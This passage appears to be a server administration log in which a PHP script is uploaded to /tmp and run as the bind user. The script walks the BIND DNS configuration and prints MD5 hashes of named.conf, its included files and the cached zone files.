	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:36:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp974857; rm /tmp/pkp974857'

2026-04-23 17:36:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:43:08: Establishing a connection
2026-04-23 17:43:08: 

PUT: /tmp/pkp414967

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:43:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp414967; rm /tmp/pkp414967'

2026-04-23 17:43:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
